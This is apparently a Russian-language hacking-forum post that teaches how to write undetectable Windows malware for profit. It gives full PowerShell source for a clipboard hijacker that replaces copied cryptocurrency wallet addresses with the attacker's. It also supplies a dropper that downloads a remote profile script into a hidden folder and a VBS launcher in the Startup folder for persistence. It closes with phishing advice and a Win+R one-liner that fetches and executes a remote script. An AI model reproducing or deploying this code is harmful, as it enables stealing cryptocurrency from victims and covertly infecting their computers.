Admin
Администратор
Написание вредоносного ПО для Windows: для развлечения и прибыли
Такие средства защиты, как антивирусы (AV) и системы предотвращения угроз (EDR), становятся все более сложными, и обходить их с каждым обновлением становится все труднее. Они используют множество методов, в основном методы искусственного интеллекта и машинного обучения (AI/ML), а также анализ поведения для обнаружения угроз.
Я считаю, что лучший способ атаковать — это использовать собственные инструменты целевой системы против нее же. Именно это мы и попытаемся сделать в этой статье: мы напишем необнаруживаемый вредоносный код для перехвата содержимого буфера обмена (clipboard hijacker), используя PowerShell. Так что налейте себе чашечку кофе и наслаждайтесь
Я использую Windows 11 с последним обновлением для Защитника Windows (Windows Defender Security intelligence update).
Существует хорошо известная папка под названием «Автозагрузка» (Startup). Любое приложение, ярлык (lnk-файл), скрипт и т.д., помещенное в нее, автоматически запускается процессом explorer.exe после входа пользователя в систему. Это первая техника, о которой нужно знать.
Другая техника involves манипуляцию профилем PowerShell. Эта техника использовалась APT-группой Turla в качестве механизма персистентности, и ее работа зависит от конфигурации. Она полагается на то, что PowerShell запускается на машине, что по умолчанию не всегда происходит. Однако в корпоративных сетях сценарии входа и другие автоматизированные задачи часто используют PowerShell, что делает эту технику весьма привлекательной.
Когда PowerShell запускается, он использует специальные настройки конфигурации, называемые профилями. Они могут быть настроены для конкретного пользователя или для всей машины. Для пользовательского профиля необходимо создать файл profile.ps1 в определенной папке, которая должна называться WindowsPowerShell. Эта папка должна находиться в каталоге «Документы».
Сочетание этих методов обеспечит очень мощное и скрытное поддержание постоянного присутствия (персистенции) в операционной системе Windows.
В качестве лаунчера мы используем простой VBS-скрипт, так как мы хотим скрыть окно PowerShell во время выполнения. Если мы используем .lnk-файл, окно PowerShell всё равно появится, даже с аргументом -WindowStyle Hidden. Иногда простота — это высшая степень изощренности.
Код:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
Код:
Add-Type -AssemblyName System.Windows.Forms
$regexMap = @{
"^8[1-9A-HJ-NP-Za-km-z]{94}$" = "Your XMR Address Here"
"^T[1-9A-HJ-NP-Za-km-z]{33}$" = "Your TRX Address Here"
"^0x[a-fA-F0-9]{40}$" = "Your Eth Address Here"
"^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" = "Your LTC Address Here"
"^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$" = "Your DASH Address Here"
"(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)" = "Your BTC Address Here"
}
$mutex = New-Object System.Threading.Mutex($false, $mutexName)
if (-not $mutex.WaitOne(0, $false)) {
exit 1
}
try {
$lastClipboardText = ""
while ($true) {
try {
$currentClipboard = [System.Windows.Forms.Clipboard]::GetText()
if ($currentClipboard -and $currentClipboard -ne $lastClipboardText) {
$lastClipboardText = $currentClipboard
foreach ($pattern in $regexMap.Keys) {
if ($currentClipboard -match $pattern) {
$replacement = $regexMap[$pattern]
$newClipboard = $currentClipboard -replace $pattern, $replacement
[System.Windows.Forms.Clipboard]::SetText($newClipboard)
break
}
}
}
}
catch {}
Start-Sleep -Milliseconds 500
}
}
finally {
$mutex.ReleaseMutex()
$mutex.Close()
}
Код:
$documentsPath = [Environment]::GetFolderPath("MyDocuments")
$folderPath = Join-Path $documentsPath "windowspowershell"
$scriptUrl = "Your Remote profile.ps1 Script URL Here"
$destinationScript = Join-Path $folderPath "profile.ps1"
if (-not (Test-Path -Path $folderPath)) {
New-Item -ItemType Directory -Path $folderPath -Force | Out-Null
(Get-Item $folderPath).Attributes += 'Hidden'
}
for ($i = 0; $i -lt 3; $i++) {
try {
Invoke-WebRequest -Uri $scriptUrl -OutFile $destinationScript
break
} catch {
Start-Sleep -Seconds 3
}
}
$startupPath = [Environment]::GetFolderPath("Startup")
$destinationScript = Join-Path $startupPath "run.vbs"
$vbsScript = @"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
"@
Set-Content -Path $destinationScript -Value $vbsScript -Force
Как заразить наши цели? Одного универсального ответа на этот вопрос не существует — есть множество методов, и всё зависит от вашей креативности. Вы можете выбрать любой метод, который сочтёте нужным, при условии, что вы придумаете убедительную и привлекательную историю, которая заставит жертву взаимодействовать с вами и выполнить нужные вам действия. Например, мы можем использовать фишинговый метод Джона Хаммонда (Win + R), чтобы заставить жертву выполнить эту команду за нас.
Код:
powershell -Command "iex (New-Object Net.WebClient).DownloadString('your remote dropper.ps1 URL')"